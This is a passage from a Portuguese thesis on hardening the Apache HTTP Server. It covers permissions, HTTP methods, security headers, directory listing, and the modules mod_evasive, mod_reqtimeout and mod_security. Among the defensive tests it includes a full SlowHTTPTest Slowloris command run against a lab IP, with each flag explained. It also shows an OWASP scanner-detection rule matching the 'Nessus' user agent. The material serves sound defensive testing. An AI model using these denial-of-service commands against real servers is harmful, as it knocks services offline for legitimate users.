pela diretiva Include por ordem da sua inclusão, seguindo-se por fim uma ordem 
alfabética [123]. Um dos aspetos a ter em conta quando se procede à configuração do 
servidor é que a configuração segue uma ordem de precedência das diretivas utilizadas 
[124]. Segundo a documentação do Apache, secções de configuração são aplicadas com 
uma ordem:  
1. <Directory> e .htaccess são interpretadas simultaneamente. Se for 
permitida a sobreposição do .htaccess a outras configurações, o .htaccess 
sobrepõe-se ao <Directory>. 
2. <DirectoryMatch>. 
3. <Files> e <FilesMatch> interpretadas em simultâneo. 
4. <Location> e <LocationMatch> interpretadas em simultâneo. 
5. <If>. 
A ordem acima é a ordem utilizada pelo Apache para juntar as configurações 
interpretadas, mas existem alguns pontos a ter em consideração: se existirem várias 
diretivas <Directory> para o mesmo diretório, estes são processados pela ordem do 
ficheiro de configuração; a diretiva <Directory> é processada do menor diretório para 
o maior, ou seja, <Directory "var/web/dir"> vai ser processado primeiro que 
<Directory "var/web/dir/subdir">; as configurações incluídas através da 
diretiva Include vão ser tratadas como se estivessem dentro do ficheiro incluído na 
localização indicada na diretiva Include; configurações dentro de secções 
<VirtualHost> são avaliadas depois das restantes secções serem avaliadas, podendo 
assim sobrepor a configuração principal do servidor [124]. Na documentação do Apache 
está descrito um exemplo prática para ilustrar como é feita a configuração do servidor. 
No exemplo seguinte estão descritas duas diretivas, a <Location> e a <Directory>, 
sendo que pela ordem descrita acima, a primeira diretiva a ser tratada vai ser a 
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<Directory>. Apesar de estarem a ser feitas configurações naquele diretório, “/”, 
como a diretiva <Location> vai ser analisada depois da diretiva <Directory>, as 
configurações feitas pela <Location> vão-se sobrepor às configurações realizadas pela 
diretiva <Directory>, ficando estas sem efeito [124]: 
 
<Location "/"> 
    Require all granted 
</Location> 
 
# Whoops!  This <Directory> section will have no effect 
<Directory "/"> 
    <RequireAll> 
        Require all granted 
        Require not host badguy.example.com 
    </RequireAll> 
</Directory> 
 
Apesar de existir a possibilidade de se  fazer alterações de configuração com a utilização 
dos ficheiros .htaccess, se se tiver acesso ao ficheiro de configuração principal do 
servidor web, a utilização deste tipo de ficheiros é desaconselhada pois tem impactos no 
desempenho do servidor [125]. Para desativar por completo a utilização destes ficheiros, 
no ficheiro "/etc/httpd/conf/httpd.conf" configura-se a diretiva 
AllowOverride com o valor de None. 
 Permissões 
Na inicialização do servidor Apache, quando é utilizado o porto 80 (definido por omissão) 
ou outro porto privilegiado, é necessário que seja o utilizador root a executar o processo 
do Apache para que este consiga ligar-se ao porto [126]. Depois da inicialização e de 
feitas algumas atividades preliminares são criados “processos filho” e estes já vão ser 
executados por um utilizador com menos privilégios, definido no ficheiro de configuração 
com a diretiva User, contudo, o “processo pai” (httpd) vai continuar a ser executado 
como o utilizador root [127]. Por omissão, na diretiva User está definido o utilizador 
apache.  
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Um dos principais passos para garantir a segurança do servidor é perceber que tipo de 
permissões estão dadas ao diretório do servidor, definido na diretiva ServerRoot no 
ficheiro de configuração. Na documentação fornecida pelo Apache, é recomendado que 
os ficheiros e diretórios sejam apenas modificáveis pelo utilizador root, impedindo que 
outros utilizadores possam alterar os ficheiros [128]. As operações recomendadas, caso 
seja criado um diretório especifico para ser o diretório do servidor são mostradas no 
exemplo seguinte. Neste exemplo são criados diretórios para os ficheiros binários do 
servidor, os ficheiros de configuração e por fim o diretório para os ficheiros de log. A 
estes diretórios são dadas as permissões 755, que permite a leitura e execução a todos os 
utilizadores, mas apenas permissões de escrita ao utilizador a que pertencem os ficheiros, 
neste caso o utilizador root.  
 
mkdir /usr/local/apache  
cd /usr/local/apache  
mkdir bin conf logs  
chown 0 . bin conf logs  
chgrp 0 . bin conf logs  
chmod 755 . bin conf logs 
 
Nos sistemas Unix, as permissões baseiam-se em três grupos de utilizadores e três tipos 
de permissões [129]. Os grupos de utilizadores são: dono (owner ou user), em que as 
permissões se aplicam apenas ao dono dos ficheiros/diretórios; grupo (group), onde as 
permissões se aplicam apenas ao grupo a que foram atribuídos os ficheiros/diretórios; 
todos os outros utilizadores (world ou others), as permissões aplicam-se aos utilizadores 
restantes do sistema. É possível atribuir privilégios de leitura (read ou r), escrita (write 
ou w) e execução (execute ou x) e é possível fazê-lo através de referências binárias. 
Através deste método, aos privilégios é atribuído um valor (leitura o valor 4, escrita o 
valor 2 e execução 1) e a soma destes representam os privilégios que se pretende atribuir 
a cada grupo de utilizadores [129].  
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Figura 25 - Permissões 754, fonte [130] 
 
Na Figura 25 estão ilustrados os privilégios presentes em permissões 754, e é possível ver 
que para o utilizador, representado pelo primeiro número à esquerda, são dadas todas as 
permissões (r + w + x = 7), para o grupo, representado pelo segundo número, são dadas 
permissões de leitura e execução (r + x = 5) e por fim, aos outros utilizadores do sistema, 
representados pelo último número, são dadas permissões de leitura (r = 4). Seguindo a 
mesma lógica, e fazendo referência às permissões 755 mencionadas anteriormente, é 
possível constatar que o utilizador tem todas as permissões, e o grupo do utilizador e os 
restantes utilizadores do sistema tem apenas permissões de leitura e execução. 
Cada sistema operativo de distribuições diferentes do Linux, têm um layout diferente em 
relação aos ficheiros do servidor web. A recomendação feita na documentação do Apache 
faz referência ao diretório dos ficheiros binários, dos ficheiros de configuração e dos 
ficheiros de log e estes diretórios, no Oracle Linux, podem ser encontrados nos caminhos 
descritos na Tabela 11 [131]. Por omissão, o diretório presente na diretiva ServerRoot, 
no sistema operativo Oracle Linux, é "/etc/httpd" e tem já as permissões 
recomendadas na documentação do Apache. 
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Tabela 11 - Diretórios e permissões por omissão do servidor Apache [131] 
Diretório (Permissões por 
omissão) 
Caminho 
Ficheiros de configuração 
principais (755) 
"/etc/httpd/conf" 
Outros ficheiros de 
configuração (755) 
"/etc/httpd/conf.d" 
Ficheiros de configuração dos 
módulos (755) 
"/etc/httpd/conf.modules.d" 
Ficheiros binários (755) "/usr/sbin/httpd" 
Ficheiros de log (755) "var/log/httpd" 
 
Com a configuração por omissão, é possível que qualquer utilizador do servidor consiga 
fazer uma leitura dos ficheiros de configuração. Para que isso não aconteça, pode mudar-
se as permissões do diretório de 755 para 750, onde a leitura dos ficheiros é proibida a 
todos os utilizadores que não sejam o dono destes.  
 Métodos HTTP 
O HTTP disponibiliza vários verbos, ou métodos, para serem utilizados nos pedidos feitos 
ao servidor. Os mais comuns serão o GET e o POST, mas no protocolo HTTP 1.1 existem 
oito métodos possíveis de ser utilizados: GET, POST, PUT, OPTIONS, TRACE, 
CONNECT, DELETE, HEAD [73]. Alguns destes métodos podem causar problemas de 
segurança e o OWASP aconselha a desativar os métodos PUT, pela possibilidade de um 
atacante fazer o carregamento de ficheiros maliciosos, DELETE, para evitar que haja 
alterações das aplicações web, CONNECT, impedindo que o servidor seja utilizado como 
proxy e TRACE, para impedir ataques do tipo Cross Site Tracing [132]. Nas 
configurações do servidor, para se proceder à desativação dos métodos, utiliza-se a 
diretiva Limit ou LimitExcept, sendo a última preferencial por conceder proteção 
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contra métodos arbitrários [37][38]. No ficheiro de configuração principal, utiliza-se a 
seguinte configuração: 
 
<LimitExcept GET POST HEAD OPTIONS> 
 deny from all 
</LimitExcept> 
 
O método TRACE não é possível desativar com a diretiva LimitExcept, sendo 
necessário utilizar a diretiva TraceEnable com o valor de off para esse efeito [40].  
Para testar se as configurações foram aplicadas com sucesso, pode ser feita uma ligação 
ao servidor através de telnet com o método TRACE, onde vai ser devolvido o código 
HTTP 405, indicando que o método não é autorizado como mostra o exemplo seguinte:  
 
[rcrd@lamp ~]$ telnet localhost 80 
... 
TRACE / HTTP/1.1 
Host: localhost 
HTTP/1.1 405 Method Not Allowed 
Date: Wed, 11 Oct 2017 14:10:38 GMT 
... 
 
Na versão 2.4, surge a título experimental, o módulo mod_allowmethods que 
simplifica a restrição de métodos HTTP [41]. Para a sua utilização, basta utilizar a diretiva 
AllowMethods com os métodos que se pretende autorizar como mostro o exemplo 
seguinte: 
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<Location "/"> 
   AllowMethods GET POST OPTIONS 
</Location> 
 Segurança das aplicações web 
Existem várias vulnerabilidades que utilizam falhas de configuração no servidor web para 
atacar as aplicações alojadas neste. O Apache HTTP Server, para proteger as aplicações 
web, disponibiliza um conjunto de flags e suporta vários cabeçalhos HTTP que ajudam a 
proteger o servidor, e consequentemente as aplicações alojadas, de vulnerabilidades como 
XSS ou Clickjacking. Como proteção de ataques do tipo XSS são utilizadas as flags 
HttpOnly (os cookies são inacessíveis a linguagens de script) e Secure (os cookies 
apenas são enviados através de comunicações HTTPS) e a diretiva X-XSS-
Protection (para o carregamento de páginas se detetar ataques XSS) [133]. No 
ficheiro de configuração do servidor, "/etc/httpd/conf/httpd.conf", é 
preciso que o módulo mod_headers esteja ativo, para que se possa utilizar diretiva 
Header com os seguintes valores:  
 
Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure 
Header set X-XSS-Protection "1; mode=block" 
 
Para ataques de Clickjacking, ataque em que o atacante leva o utilizador a clicar numa 
página maliciosa escondida noutra página, é utilizado o cabeçalho X-Frame-Options 
que indica ao servidor se é permitido abrir uma página num frame ou iframe, técnicas 
muito utilizadas neste tipo de ataques [134]. Existem três possibilidades de configuração: 
SAMEORIGIN, permite que uma página utilize frames do mesmo domínio, DENY, não 
são permitidos frames e iframes, e ALLOW-FROM, onde é permitido desde que a origem 
seja de um Uniform Resource Identifier (URI) permitido [134]. No exemplo seguinte está 
representada a configuração do cabeçalho X-Frame-Options com a opção 
SAMEORIGIN: 
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Header always append X-Frame-Options SAMEORIGIN 
 
Na Figura 26 está representado o cabeçalho de resposta dado pelo servidor, captados 
através das ferramentas de programador do Google Chrome, e nele estão presentes os 
cabeçalhos X-XSS-Protection e X-Frame-Options, juntamente com as flags 
referentes aos cookies HttpOnly e Secure.  
 
 
Figura 26 - Cabeçalho de resposta com as flags configuradas 
 
Apesar de ainda serem utilizados, os cabeçalhos X-XSS-Protection e X-Frame-
Options estão agora deprecados e, por isso, é desaconselhada a sua utilização. Em sua 
vez, é agora utilizado o Content Security Policy (CSP), recomendado pelo consórcio W3C 
[135]. A partir do CSP é possível aos administradores dos servidores especificar quais os 
domínios que devem ser considerados fontes fidedignas para scripts executáveis, 
reduzindo assim a exposição dos servidores a ataques XSS [136]. Alguns cenários 
comuns descritos na documentação do CSP estão descritos na Tabela 12. 
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Tabela 12 - Cenários comuns no CSP 
Configuração Descrição 
default-src 'self'; Permite tudo desde que seja a partir da 
mesma origem. 
script-src 'self'; Permite apenas scripts da mesma origem. 
script-src 'self' 
www.google-analytics.com 
ajax.googleapis.com; 
Permite scripts da mesma origem, da 
Google Analytics e da Google AJAX 
CDN.  
 
Seguindo a configuração inicial proposta pelo CSP, fica-se com uma configuração 
idêntica à realizada com os cabeçalhos X-Frame-Options e X-XSS-Protection. A 
configuração proposta pelo CSP permite imagens, scripts, AJAX, e CSS a partir da 
mesma origem, e não permite que outros recursos sejam utilizados (objetos, frames, 
media, etc) [137]. No ficheiro de configuração do Apache, insere-se a seguinte linha: 
 
Header set Content-Security-Policy "default-src 'none'; 
script-src 'self'; connect-src 'self'; img-src 'self'; 
style-src 'self';" 
 
Os cabeçalhos de resposta enviados pelo servidor, captados através das ferramentas de 
programador do Google Chrome, estão representados na Figura 27. 
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Figura 27 - Cabeçalho de resposta com o CSP 
 Server Side Includes 
SSI são diretivas que podem ser utilizadas em páginas HTML e são utilizadas para gerar 
conteúdo dinamicamente à página existente sem que seja necessária a utilização de scripts 
Common Gateway Interface (CGI) ou PHP [138]. Um dos exemplos mais básicos da 
utilização destas diretivas que pode ser dado é as informações das horas serem 
apresentadas numa página através do código <!--#echo var="DATE_LOCAL"-->. 
Os ficheiros que utilizam este tipo de funcionalidades obrigam a uma sobrecarga do 
servidor, podendo ser prejudicial num ambiente partilhado. Em termos de segurança, os 
SSI apresentam riscos, pois podem tornar-se nocivos para o servidor ao utilizar, por 
exemplo, o elemento exec cmd o ficheiro fica com a capacidade de executar scripts ou 
programas no servidor com as permissões atribuídas ao utilizador que executa o servidor 
web [139]. Para se fazer uma utilização segura dos SSI, pode ser utilizado o suexec. 
Esta funcionalidade permite a execução destes ficheiros com um utilizador diferente 
daquele que está a executar o servidor web e isola os scripts, prevenindo que haja 
repercussões no funcionamento do servidor. Apesar disso, quando mal configurado pode 
criar problemas de segurança no servidor, sendo aconselhada precaução na sua utilização 
[140]. A desativação dos SSI é feita no ficheiro de configuração principal do servidor, 
através da diretiva Options onde se atribui o valor de "-Includes": 
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<Directory "/var/www/html"> 
 Options -Includes 
</Directory> 
 Diretórios 
No Apache HTTP Server, se no diretório público não houver um ficheiro referenciado 
pela diretiva DirectoryIndex, por omissão chamado index.html, é mostrado ao 
utilizador um índice com todos os ficheiros e pastas presentes no diretório, como se pode 
verificar na Figura 28 [141].  
 
 
Figura 28 - Listagem dos ficheiros e pastas no diretório público do servidor web. 
 
Como forma de impedir a listagem dos ficheiros e pastas ao utilizador, no ficheiro de 
configuração, utiliza-se a diretiva Options com o valor "-Indexes" [142]:  
 
<Directory /> 
 Options -Indexes 
 ... 
</Directory> 
 
Feita a configuração, é mostrada uma mensagem ao utilizador indicando que este não tem 
autorização para aceder o diretório pretendido, ilustrado na Figura 29. 
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Figura 29 - Mensagem mostrada ao utilizador depois de desativada a listagem 
 Ataques DoS  
Ataques de negação de serviço (DoS) são um grande problema para os servidores web. 
Estes ataques focam-se em tornar o serviço indisponível, muito lento ou com 
funcionalidades reduzidas para utilizadores legítimos, utilizando técnicas como o 
Slowloris que faz pedidos incompletos ao servidor, ficando os recursos do servidor à 
espera do resto do pedido [143]. De forma a prevenir que o servidor fique indisponível, 
existem diretivas que podem ser utilizadas para que o servidor consiga libertar recursos 
para pedidos futuros, como a TimeOut, KeepAliveTimeout e 
RequestReadTimeout. A diretiva TimeOut determina o tempo que o servidor vai 
ficar à espera que determinado evento aconteça (receber pacotes, por exemplo) antes de 
fechar a ligação [34]. Por omissão esta diretiva tem valor de 60 segundos, contudo, o 
Apache aconselha a que este valor seja baixo para servidores propícios a ataques DoS 
[35]. A diretiva KeepAliveTimeout determina o número de segundos que o servidor, 
numa ligação persistente, vai esperar por pedidos antes que este feche a ligação [36]. 
Depois de um pedido ter sido recebido, o valor da diretiva TimeOut é aplicado. Para 
servidores que possam ser alvos de ataques DoS, é recomendado pelo Apache que o valor 
da diretiva KeepAliveTimeout seja baixo [35]. Por omissão, esta diretiva tem o valor 
de 5 segundos.  
No ficheiro de configuração "/etc/httpd/conf/httpd.conf", seguindo as 
recomendações do Apache de atribuir valores baixos a estas diretivas, configuram-se as 
diretivas com os seguintes valores: 
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TimeOut 30 
KeepAliveTimeout 5 
 
A diretiva RequestReadTimeout está disponível através do módulo 
mod_reqtimeout, tratado na secção 6.2.2. 
6.2 Módulos 
O Apache HTTP Server é uma aplicação modular, ou seja, é composto por módulos. Estes 
módulos permitem ao servidor ter funcionalidades adicionais, como por exemplo o 
suporte para encriptação SSL, e permitem aos administradores de sistema configurar o 
servidor, sendo possível ativar e desativar módulos de acordo com as suas necessidades. 
Existem dois tipos de módulos, os módulos estáticos ou static, que são compilados 
juntamente com o Apache, e os módulos dinâmicos ou shared, que podem ser ativados e 
desativados a qualquer momento na configuração do servidor. Por omissão, o Apache 
vem com alguns módulos carregados, contudo, visto o Apache colocar estes módulos em 
memória, vai causar desgaste a nível de performance do servidor e, num aspeto de 
segurança, é boa prática ter apenas módulos carregados que façam parte dos requisitos do 
servidor. A lista dos módulos presentes no servidor pode ser obtida através do comando 
"httpd -M". Para se proceder à desativação de um módulo, nos ficheiros de 
configuração do servidor Apache presentes no diretório 
"/etc/httpd/conf.modules.d/", no sistema operativo Oracle Linux, basta 
comentar (#) a linha do módulo queira desativar. Os módulos são carregados a partir da 
diretiva LoadModule, como é representado a seguir [144]. Abaixo está representado o 
ficheiro de configuração "/etc/httpd/conf.modules.d/00-base.conf" 
onde são carregados a maioria dos módulos do servidor: 
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# 
# This file loads most of the modules included with the 
Apache HTTP 
# Server itself. 
# 
 
LoadModule access_compat_module 
modules/mod_access_compat.so 
LoadModule actions_module modules/mod_actions.so 
LoadModule alias_module modules/mod_alias.so 
LoadModule allowmethods_module modules/mod_allowmethods.so 
LoadModule auth_basic_module modules/mod_auth_basic.so 
LoadModule auth_digest_module modules/mod_auth_digest.so 
... 
 
Sempre que se proceder à ativação ou desativação de um módulo é necessário reiniciar o 
serviço do servidor Apache para que sejam efetuadas as alterações.  
Para o servidor Apache existe uma grande variedade de módulos possíveis de serem 
carregados, sejam eles oficiais ou de terceiros, contudo o administrador do sistema tem 
de ter em conta a necessidade de ter o módulo ativo, pois este pode conter 
vulnerabilidades e prejudicar a segurança do servidor desnecessariamente. Apesar disso, 
é aconselhada a instalação e ativação de alguns módulos que vão melhorar a segurança 
do servidor, como o mod_evasive (proteção contra ataques DoS) [145], 
mod_reqtimeout (configuração de tempos e dados mínimos para a receção de 
pacotes) [146], o mod_security (firewall de aplicações web) e o mod_ssl (permite 
a utilização de encriptação SSL/TLS) [147][42].  
 Mod_evasive 
Uma das grandes vulnerabilidades a que os servidores web estão sujeitos é a ataques de 
negação de serviço (DoS). Como proteção contra este tipo de ataques, pode ser utilizado 
o módulo mod_evasive, anteriormente de nome mod_dosevasive. O módulo cria 
uma tabela dinâmica de endereços IP e URI’s, e qualquer endereço que faça um certo 
número de pedidos num determinado tempo ao mesmo recurso é-lhe negado o acesso e 
guardado o seu endereço na tabela [145]. No sistema operativo utilizado, Oracle Linux, e 
Segurança na LAMP stack | Ricardo Almeida 
 
 
82 
com o repositório Extra Packages for Entrepise Linux (EPEL) ativo, para instalar o 
módulo executou-se o comando seguinte: 
 
sudo yum install mod_evasive 
 
O ficheiro de configuração do módulo, no Oracle Linux, encontra-se em 
"/etc/httpd/conf.d/mod_evasive.conf". Algumas das diretivas presentes 
neste ficheiro de configuração são mostradas a seguir: 
 
<IfModule mod_evasive24.c> 
    DOSHashTableSize    3097 
    DOSPageCount        2 
    DOSSiteCount        50 
    DOSPageInterval     1 
    DOSSiteInterval     1 
    DOSBlockingPeriod   10 
</IfModule> 
 
Os valores correspondentes a cada diretiva variam do tipo e da quantidade de tráfego que 
o servidor web tem. Na Tabela 13 estão descritas algumas diretivas que compõem o 
mod_evasive, e no Anexo C.1 – Diretivas de configuração do mod_evasive estão 
descritas todas as diretivas utilizadas pelo módulo. 
 
Tabela 13 - Diretivas do mod_evasive 
Diretiva Descrição 
DOSHashTableSize Tamanho da tabela utilizada para guardar os endereços IP. 
Quanto maior for o valor, mais rápida será feita a pesquisa 
na tabela. 
DOSPageCount Número de páginas permitidas no intervalo de tempo 
definido pela diretiva DOSPageInterval. 
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Diretiva Descrição 
DOSPageInterval Tempo em segundos utilizado pela diretiva 
DOSPageCount.  
DOSSiteCount Número de objetos permitidos no intervalo de tempo 
definido pela diretiva DOSSiteInterval. 
DOSBlockingPeriod Tempo em segundos que um endereço IP vai ficar 
bloqueado. Se um endereço bloqueado tentar fazer uma 
ligação, a contagem reinicia.  
 
Um dos pontos importantes na configuração é o registo dos logs. Para esta demonstração 
prática foi criado um diretório em "/var/log/mod_evasive" onde vão ser criados 
os ficheiros de log do mod_evasive. Na criação deste diretório foram dadas as 
permissões do utilizador apache, que é o utilizador do servidor web. No ficheiro de 
configuração do módulo, à diretiva DOSLogDir, onde é definido o diretório dos logs, 
foi dado o valor "/var/log/mod_evasive": 
 
DOSLogDir   "/var/log/mod_evasive" 
 
Instalado e configurado, é possível testar o módulo através de um script desenvolvido em 
Perl presente no pacote de instalação do módulo [145]. Para a realização do teste foi 
necessário fazer alterações no script fornecido, estando o script original e alterado no 
Anexo C.2 – Script de teste do mod_evasive. Por omissão, o script faz 100 pedidos ao 
servidor e escreve a resposta do servidor [145]. Para isso executa-se o seguinte comando: 
 
sudo /usr/share/doc/mod_evasive-1.10.1/test.pl 
 
Executado o script é possível observar na Figura 30 que houve pedidos bem-sucedidos, 
mas passado o número de pedidos configurados anteriormente os pedidos foram 
recusados.  
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Figura 30 - Resultado do script 
 
O resultado do script pode ser observado nos logs, tanto do módulo como do Apache, em 
que ficam registados os pedidos nos logs de acesso. No diretório selecionado para os logs 
do módulo está presente um ficheiro com o nome do ataque e o endereço IP de origem: 
 
[rcrd@lamp ~]$ sudo ls -ls /var/log/mod_evasive 
total 0 
0 -rw-r--r--. 1 apache apache 0 Sep 21 21:50 dos-
192.168.1.132 
 Mod_reqtimeout 
Uma das variantes dos ataques DoS é o ataque SlowLoris. Durante este ataque são feitas 
muitas ligações ao servidor, mas estas ligações nunca são fechadas já que os pedidos 
HTTP feitos são incompletos, o que vai forçar o servidor a esperar pelo resto do pedido 
para fechar a ligação [143]. Apesar de os servidores terem uma configuração de timeout 
(se a ligação estiver a demorar muito esta é fechada), durante o ataque o servidor é 
impossibilitado de o fazer porque o atacante continua a enviar partes do pedido em 
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intervalos de tempo muito grandes para que a ligação continue ativa. Devido às muitas 
ligações abertas em simultâneo, o servidor não tem capacidade de resposta para mais 
pedidos, o que torna o serviço indisponível [143]. Para tentar proteger o servidor, foi 
criado o módulo mod_reqtimeout, disponível a partir da versão 2.2 do Apache [146]. 
Este módulo determina o timeout e o mínimo de dados por pedido feito ao servidor de 
modo a controlar os efeitos de um ataque de negação. De forma a testar o servidor contra 
ataques SlowLoris, foi utilizada uma ferramenta chamada SlowHTTPTest, capaz de 
simular vários ataques de negação de serviço sendo que no fim das simulações fornece 
relatórios para análise dos resultados [148]. A versão do Apache em utilização neste 
projeto é a 2.4 e, tendo em conta que a introdução do módulo mod_reqtimeout foi 
feita na versão 2.2, foi preciso desativar o módulo para serem feitos testes. O comando 
executado nos testes ao servidor foi o seguinte: 
  
root@kali:~# slowhttptest -c 1000 -H -g -o result -i 10 -r 
200 -t GET -u http://192.168.1.137 -l 600 -x 24 -p 3 
 
Para executar o teste foram configuradas várias flags, definidas na Tabela 14. 
 
Tabela 14 - Parâmetros utilizados no SlowHTTPTest 
Parâmetro (Valor atribuído) Definição 
-c (1000) Número de ligações a serem feitas durante o ataque. 
-H Tipo de teste a ser feito. Por omissão está definido 
o ataque SlowLoris. 
-g Criação de um relatório final com várias 
estatísticas. 
-o (result) Ficheiro onde são guardados os dados do relatório.  
-i (10) Intervalo de tempo entre o envio de dados. 
-r (200) Número de ligações por segundo. 
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Parâmetro (Valor atribuído) Definição 
-t (GET) Verbo utilizado no pedido. 
-u 
(http://192.168.1.137) 
Endereço do alvo do ataque. 
-l (600) Duração do teste em segundos. 
-x (24) Número máximo de bytes dos dados enviados. 
-p (3) Configuração do timeout. 
 
Ao longo do ataque, é dado feedback sobre este, como representado na Figura 31.  
 
 
Figura 31 - Feedback mostrado ao utilizador durante o ataque 
 
Um dos dados que é mostrado é a disponibilidade do serviço do alvo, sendo possível 
observar que no instante em que o ataque começa o serviço está disponível, contudo 
passados 10 segundos o serviço fica indisponível, como ilustrado na Figura 32, pois é 
atingido o limite de ligações abertas do servidor.  
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Figura 32 - Serviço indisponível a partir dos 10 segundos de ataque 
 
A partir dos dados fornecidos pelo SlowHTTPTest é possível perceber na Figura 33 que 
a partir nos primeiros 6 segundos do ataque o serviço ficou indisponível até ao fim do 
ataque.  
 
 
Figura 33 – Dados recolhidos durante o primeiro teste 
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O módulo mod_reqtimeout quando ativado tem por omissão valores mínimos 
estabelecidos. Está estabelecido para se receber o pedido incluindo o cabeçalho 20 
segundos e, se o cliente enviar dados, aumenta 1 segundo por cada 500 bytes recebidos 
até um limite de 40 segundos [37]. Para o corpo do pedido, é imposto um limite de 20 
segundos, com aumento de 1 segundo por cada 500 bytes recebidos, sem qualquer tipo 
de limite máximo adicionado ao timeout [37]. No ficheiro de configuração 
"etc/httpd/conf/httpd.conf" a diretiva RequestReadTimeout apresenta-
se como de seguida: 
 
RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500 
 
Na Figura 34 está presente o resultado do ataque feito ao servidor com o módulo 
mod_reqtimeout ativo. Nesta é possível observar que apesar do serviço ficar 
indisponível aos 6 segundos do ataque, existem momentos onde o serviço volta a ficar 
disponível, nomeadamente quando se começa a fechar ligações. 
 
 
Figura 34 - Dados recolhidos durante o ataque com o servidor protegido com o módulo mod_reqtimeout 
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Num ataque de maiores dimensões, com 4000 ligações e menor intervalo de tempo entre 
os envios de data, o serviço fica indisponível e só volta a ficar disponível passado 81 
segundos do ataque, como representado na Figura 35. Contudo em ambos os casos o 
ataque não foi executado durante os 600 segundos como configurado devido à atuação do 
módulo ao fechar as ligações.  
 
 
Figura 35 - Dados recolhidos durante um ataque intensificado com o servidor protegido com o módulo 
mod_reqtimeout 
 
Através dos testes realizados é possível perceber a utilidade deste módulo ao repor a 
disponibilidade do serviço e parar um ataque de negação ao servidor. Apesar de se mostrar 
eficiente nestes testes, é preciso notar que existem diversas técnicas que podem ser 
utilizadas, assim como várias configurações de ataque, podendo não se mostrar tão eficaz 
nesses cenários, contudo, mostra-se um módulo útil a ter ativo na configuração do 
servidor web. Nestes testes foram utilizados os valores por omissão do módulo. 
 Mod_security 
O ModSecurity é uma firewall de aplicação em tempo real que faz controlo de acessos, 
cria logs e faz uma monitorização do tráfego do servidor web [149]. No sistema operativo 
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utilizado, Oracle Linux, foram utilizados os comandos presentes no Anexo C.3 – 
Instalação mod_security para se proceder à instalação do módulo mod_security. Este 
módulo trabalha com um conjunto de regras, como o OWASP Core Rule Set (CRS), com 
o objetivo de proteger aplicações web de ameaças como SQLi, XSS, injeção de código, 
entre outros [150]. Como este módulo trabalha juntamente com o Apache, utiliza o 
mesmo ficheiro para guardar os erros ocorridos, 
"/var/logs/httpd/error_logs". Um teste possível de ser feito para testar o 
funcionamento do módulo é fazer um pedido ao servidor com o user agent definido como 
"Nessus": 
 
[root@lamp_test ~]# curl -i http://192.168.1.137/ -A Nessus 
HTTP/1.1 403 Forbidden 
... 
 
Nessus é uma aplicação que faz um scan de vulnerabilidades de um servidor [151]. Pelas 
possibilidades que esta aplicação tem de ser utilizado em ataques, está incluído nas regras 
do OWASP como malicioso e qualquer pedido feito por este é barrado, como pode ser 
observado no log: 
 
[Thu Oct 05 15:10:06.616258 2017] [:error] [pid 1762] [client 
192.168.1.139:52457] [client 192.168.1.139] ModSecurity: 
Warning. Matched phrase "nessus" at REQUEST_HEADERS:User-Agent. 
[file "/etc/httpd/modsecurity-crs/rules/REQUEST-913-SCANNER-
DETECTION.conf"] [line "60"] [id "913100"] [rev "2"] [msg "Found 
User-Agent associated with security scanner"] [data "Matched 
Data: nessus found within REQUEST_HEADERS:User-Agent: nessus"] 
[severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] 
[accuracy "9"] [tag "application-multi"] [tag "language-multi"] 
[tag "platform-multi"] [tag "attack-reputation-scanner"] [tag 
"OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] 
[tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname 
"192.168.1.137"] [uri "/"] [unique_id 
"WdY9PmUCjaBqVOmulJ1bNAAAAAQ"] 
 
Um ponto a ter em consideração neste módulo é a funcionalidade de auditoria. Nos logs 
de auditoria, dependendo da configuração definida, podem estar presentes o cabeçalho do 
pacote do pedido, assim como o corpo deste, assim como os do pacote de resposta [152]. 
Pode também ser incluída a lista de regras que foram infringidas durante o evento do log. 
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No ficheiro de configuração principal do módulo, 
"/etc/httpd/conf.d/modsecurity.conf", estão presentes as configurações 
relativas à auditoria, estando algumas explicadas na Tabela 15. Por omissão, o ficheiro 
de log da auditoria é "/var/log/modsec_audit.log". 
 
Tabela 15 - Diretivas referentes à auditoria do mod_security 
Diretiva (Valor por omissão) Descrição 
SecAuditEngine 
(RelevantOnly) 
Configura a captura dos logs referentes à 
auditoria. Pode ter valores de On, Off e 
RelevantOnly. 
SecAuditLogRelevantStatus 
("^(?:5|4(?!04))") 
Especifica os códigos relevantes de serem 
guardados. A expressão regular definida 
por omissão define que todos os erros com 
o estado 5xx e 4xx serão guardados em 
log, excepto o erro 404. 
SecAuditLogParts (ABIJDEFHZ) Configura as partes de uma transação que 
serão guardadas no log. 
 
No ficheiro de log representado a seguir, é mostrado o pedido feito ao servidor, o 
resultado (erro HTTP 403) e a explicação para esse pedido ter sido proibido e guardado 
em log, sendo neste caso ter encontrado um scanner que estava na lista de regras do 
OWASP. 
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GET / HTTP/1.1 
User-Agent: Nessus 
Host: 192.168.1.137 
Accept: */* 
 
--7e6b8b66-F-- 
HTTP/1.1 403 Forbidden 
 
--7e6b8b66-H— 
Message: Warning. Matched phrase "nessus" at 
REQUEST_HEADERS:User-Agent. [file "/etc/httpd/modsecurity-
crs/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "60"] 
[id "913100"] [rev "2"] [msg "Found User-Agent associated 
with security scanner"] [data "Matched Data: nessus found 
within REQUEST_HEADERS:User-Agent: nessus"] [severity 
"CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] 
[accuracy "9"] [tag "application-multi"] [tag "language-
multi"] [tag "platform-multi"] [tag "attack-reputation-
scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] 
[tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag 
"PCI/6.5.10"] 
... 
 
Apesar deste módulo, por vezes, apresentar falsos positivos, também se pode perceber 
que pode ser uma mais valia na segurança do servidor ao prevenir imensas ameaças que 
podem ser prejudiciais ao servidor.  
 Mod_ssl 
O módulo mod_ssl é o módulo responsável pelo suporte dos protocolos SSLv3 e 
TLSv1.x no Apache HTTP Server [42]. Para que este módulo funcione é necessário que 
o OpenSSL esteja instalado no servidor. O ficheiro de configuração deste módulo, no 
sistema operativo Oracle Linux, é o "/etc/httpd/conf.d/ssl.conf" e nele 
encontram-se as diretivas onde são definidos os protocolos e cifras que podem ser 
utilizados, assim como os componentes dos certificados X.509. Na Tabela 16 encontram-
